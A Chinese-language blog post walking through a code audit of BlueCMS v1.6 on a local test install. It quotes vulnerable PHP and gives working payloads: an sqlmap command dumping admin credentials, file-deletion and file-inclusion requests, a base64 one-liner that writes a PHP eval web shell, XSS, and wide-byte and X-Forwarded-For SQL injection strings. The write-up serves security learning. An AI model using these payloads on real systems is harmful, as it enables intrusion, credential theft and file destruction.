Bluecmsv1.6-代码审计

前言

一直想学习代码审计,但是想着一大堆php函数都不清楚,要啃下这个大骨头太难了,就这样一拖一拖就到现在了,终于是下定决心,一点一点开始吧,看了大家的学习思路,基本都是从bluecmsv1.6开始,这里参考了一些前辈,师傅的复现经验和bluecms审计的心得

安装

直接访问install目录即可

图片[1]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

按照提示,填写完数据库信息,系统账号密码,即可进入系统

图片[2]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

思路

思路其实就都差不多,大概就以下几种嘛

  • 根据敏感关键字回溯参数传递过程。
  • 查找可控变量,正向追踪变量传递过程。
  • 寻找敏感功能点,通读功能点代码。
  • 直接通读全文代码。

大家选一个自己最喜欢的思路就行,但是我相信很多人还是一脸懵逼,我一个小白我哪知道选哪个。作为我也是小白刚入门,我说说我的思路,大家可以参考参考。

  • 基本拿到源码首先看一下目录结构,看出来是什么类型,什么框架看一下index.php,一般再开头都会有引用文件,
  • 然后进入引用的公共文件看看一些过滤函数呀,稍微有点印象进行,因为等会看正文的时候还是会回来再看看的。
  • 接着看看数据库的配置文件呀,有没有可能数据库就是gbk编码呢,这样是不是可以考虑以下有没有宽字节注入呢。
  • 其实没有捷径可以走,我是通过seay代码审计工具扫描之后,一个文件一个文件的进行审计的,这个虽然比较费时间,但是却能够很好的打下基本功。
图片[3]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

接下来就是一个一个文件分析嘛,没办法,谁让我是小白呢

漏洞审计

ad_js.php sql注入

通过seay审计可以看的,ad_js.php可能是存在sql注入的,打开看看

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
	echo 'Error!';
	exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

可以看见$ad_id并没有进行单引号包裹,有可能存在数字型注入,接着查看什么地方存在,在上面可以看到有所定义:如果$_GET['ad_id']存在并且不为空,就通过trim函数去除前后的空格,否则就赋值空值

利用:

图片[4]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

因为没有回显,我们这里使用sqlmap直接梭哈即可,(延时注入等手动太累,主要是自己没学好)

python sqlmap.py -u http://127.0.0.1/bluecms/ad_js.php?ad_id=1 -D bluecms -T blue_admin -C "admin_name,pwd" --dump
图片[5]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

publish.php 任意文件删除

elseif($act == 'del_pic')
{
 	$id = $_REQUEST['id'];
 	$db->query("DELETE FROM ".table('post_pic').
 				" WHERE pic_path='$id'");
 	if(file_exists(BLUE_ROOT.$id))
 	{
 		@unlink(BLUE_ROOT.$id);
 	}
}

$act == 'del_pic',并且通过$id = $_REQUEST['id'];接收需要删除的文件地址,即可通过@unlink;删除文件,途中没有任何过滤,并且存在目录穿越

这里需要注意添加cookie:BLUE[user_id]=111111;

通过查看源码可以发现:首先检测是否存在该cookie,不存在就跳转登录,故这儿还存一个未授权漏洞

if(!$_SESSION['user_id'])
{
	showmsg('您还没有登录,请先登录...', 'user.php?act=login');
}
图片[6]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

user.php

任意文件包含

 elseif ($act == 'pay'){
 	include 'data/pay.cache.php';
 	$price = $_POST['price'];
 	$id = $_POST['id'];
 	$name = $_POST['name'];
 	if (empty($_POST['pay'])) {
 		showmsg('�Բ�����û��ѡ��֧����ʽ');
 	}
 	include 'include/payment/'.$_POST['pay']."/index.php";
 }

$act == 'pay'时,通过include函数,其中因为$_POST['pay']是我们可以自己控制的,故存在任意文件包含漏洞

利用:

submit=%D4%DA%CF%DF%D6%A7%B8%B6&price=30&id=B1683961394E&name=%B1%E3%C3%F1%BF%A8&pay=../../index.php

但是后面拼接了/index.php 需要进行截断,这里使用%00截断,源码中只是判断pay参数是否为空,并没有过滤,通过拼接pay参数,进行包含,

绕过方法1:%00 截断
  条件:magic_quotes_gpc = Off PHP 版本<5.3.4
  测试:?filename=../../../../../../boot.ini%00
绕过方法2:路径长度截断
  条件:windows下目录路径最大长度为256字节,超出部分将丢弃;
      Linux下目录最大长度为4096字节,超出长度将丢弃
  测试:?filename=text.txt././././.  或?filename=test.txt.....
图片[7]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

进行包含失败

将php版本换成5.3.4以下的版本进行测试,因为%00在这以后的版本中进行了修复

图片[8]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

这时候发现可以成功包含。

任意文件上传

个人资料中可以上传个人头像

图片[9]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

查看下路径

图片[10]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

文件包含图片马

图片[11]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

看师傅们的文章中还有一种方法就是包含重新写入一个马

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

因为这样包含的shell,用菜刀或者蚁剑管理起来,参数很麻烦,不如直接包含写马的操作。学习到了。

存储型XSS漏洞

注册处

elseif($act == 'do_reg'){
	$user_name 		=	!empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
	$pwd       		= 	!empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
	$pwd1 	   		= 	!empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
	$email     		= 	!empty($_POST['email']) ? trim($_POST['email']) : '';
	$safecode  		= 	!empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
	$from = !empty($from) ? base64_decode($from) : 'user.php';

	if(strlen($user_name) < 4 || strlen($user_name) > 16){
		showmsg('�û����ַ����Ȳ���');
	}
	if(strlen($pwd) < 6){
		showmsg('���벻������6���ַ�');
	}
	if($pwd != $pwd1){
		showmsg('�����������벻һ��');
	}
	if(strtolower($safecode) != strtolower($_SESSION['safecode'])){
		showmsg('��֤�����');
	}
	if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){
		showmsg('���û����Ѵ���');
	}
	if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){
		showmsg('���û����Ѵ���');
	}
	$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";

可以发现并没有什么过滤,但是对用户名有长度限制,密码一般不考虑,我们在邮箱字段输入xss语句,对邮箱的验证在前端,我们抓包直接改进行提交之后触发xss。

修改用户信息处

 elseif($act == 'edit_user_info'){
	 $user_id = intval($_SESSION['user_id']);
	 if(empty($user_id)){
		 return false;
	 }
	$birthday = trim($_POST['birthday']);
	$sex = intval($_POST['sex']);
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
    $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
    $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
    $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
    $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
    $home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
	$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

$sql = "UPDATE ".table('user')." SET birthday = '$birthday', sex = '$sex', face_pic = '$face_pic', email = '$email', msn = '$msn', qq = '$qq'," .
			" mobile_phone = '$mobile_phone', office_phone = '$office_phone', home_phone = '$home_phone', address='$address' WHERE user_id = ".intval($_SESSION['user_id']);
	$db->query($sql);

可以看见除了sex强制转换成int,address进行了html标签实例化,其他参数都只是进行了空格过滤,故而我们都可以进行测试,通过查看数据库user表的设计,可以发现email长度比较合适,可以尝试插入

图片[12]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

修改email参数:

图片[13]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享
图片[14]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

任意文件删除

if (!empty($_POST['face_pic1'])){
   if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'http://') != false){
      showmsg('ֻ֧�ֱ�վ���·����ַ');
    }
   else{
      $face_pic = trim($_POST['face_pic1']);
    }
}else{
    if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
	@unlink(BLUE_ROOT.$_POST['face_pic3']);
	}
}

还是编辑资料这个地方,发现这里也存在一个任意文件删除漏洞,首先检测face_pic1参数是不是为空,是为空去检测face_pic3参数是否存在,如果存在就调用unlink函数删除文件,而且这两个参数都是用户可控的。下面我们只要把face_pic1赋值空,把face_pic3赋值成删除的文件就行,抓包进行修改。

POST /bluecms/user.php?act=edit_user_info HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/bluecms/user.php
Connection: close
Cookie: detail=4; PHPSESSID=k9hjks58rn2jn6vd16apnegm37; BLUE[user_id]=2; BLUE[user_name]=111111; BLUE[user_pwd]=b1fc9c96a120c29bd9de6f3f759d126a
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

face_pic1&face_pic3=111

还有一个 类似,也是任意文件删除

elseif($act == 'del_pic'){
 	$id = $_REQUEST['id'];
 	$db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
 	if(file_exists(BLUE_ROOT.$id)){
 		@unlink(BLUE_ROOT.$id);
 	}
 }
 

comment.php guest_book.php

XFF SQL注入

配置文件中对POST,GET,COOKIES,REQUEST参数都做了gpc处理,唯独漏了SERVER,而且网站正好通过这个变量获取IP地址,直接搜全局搜索getip函数,看哪里使用了,这个函数在配置文件comment.fun.php中定义的函数

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
 			VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
 	$db->query($sql);
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
			VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
	$db->query($sql);

闭合 ‘ 和 ),从而构造本来应该是$content的内容,被database()占据,故会直接显示出来数据库信息

VALUES ('', '$rid', '$user_id', '$timestamp', '127.0.0.1',database())#', '$content')";
图片[15]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享
图片[16]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

我们可以通过伪造ip注入sql语句,直接上sqlmap。

用户注册

用户注册的那里不仅可以xss,insert into也可以进行宽字节注入。

%df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#

后台登陆

后台登陆也存在宽字节注入,在/admin/login.php中存在check_admin,检查是否是admin的函数

 elseif($act == 'do_login'){
 	$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
 	$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
 	$remember = isset($_POST) ? intval($_POST['rememberme']) : 0;
 	if($admin_name == ''){
 		showmsg('用户名不能为空');
 	}
 	if($admin_pwd == ''){
 		showmsg('用户密码不能为空');
 	}
 	if(check_admin($admin_name, $admin_pwd)){
 		update_admin_info($admin_name);
 		if($remember == 1){
 			setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
 			setcookie('Blue[admin_name]', $admin_name, time()+86400);
			setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
 		}
 	}else{
 		showmsg('您输入的用户名和密码有误');
 	}
 	showmsg('欢迎您 '.$admin_name.' 回来,现在将转向管理中心...', 'index.php');
 }
function check_admin($name, $pwd)
{
	global $db;
	$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
 	if($row['num'] > 0)
 	{
 		return true;
 	}
 	else
 	{
 		return false;
 	}
}

直接带入,但是包含了/admin/include/common.inc.php

if(!get_magic_quotes_gpc())
 {
     $_POST = deep_addslashes($_POST);
     $_GET = deep_addslashes($_GET);
     $_COOKIES = deep_addslashes($_COOKIES);
     $_REQUEST = deep_addslashes($_REQUEST);
 }

这里是经过转义的,而且开了GBK,就存在宽字节注入了。在/admin/login.php注入

当我输入如下payload

图片[17]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享
图片[18]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

自动对’进行了转义,更能证明了存在宽字节注入

正确payload:

图片[19]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享
图片[20]-Bluecmsv1.6-代码审计-渗透云记 - 专注于网络安全与技术分享

总结

代码审计主要就是经验,然后就是细心

借用大佬的总结就是:

说一下下一个cms怎么审计:
1:首先不能盲目,记住Web漏洞的本质:存在用户的输入
应重点关注有输入点的页面,再去文件里找相关代码,不断回溯看看代码中有没有可控变量,过滤是否严谨。
2:可以全局搜索一下危险函数,如:unlink,include,move_uploaded_file函数等
查找相关漏洞可以去找关键字,如sql注入:
全局搜索一下SELECT、UPDATE、INSERT、DELETE等关键字
看看是否有预编译后再插入数据库。
比如上传,可以搜索一下upload,看看他的过滤规则。
多总结,多反思,先审计完再看网上文章,看看别的师傅怎么审计的,不断借鉴。

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容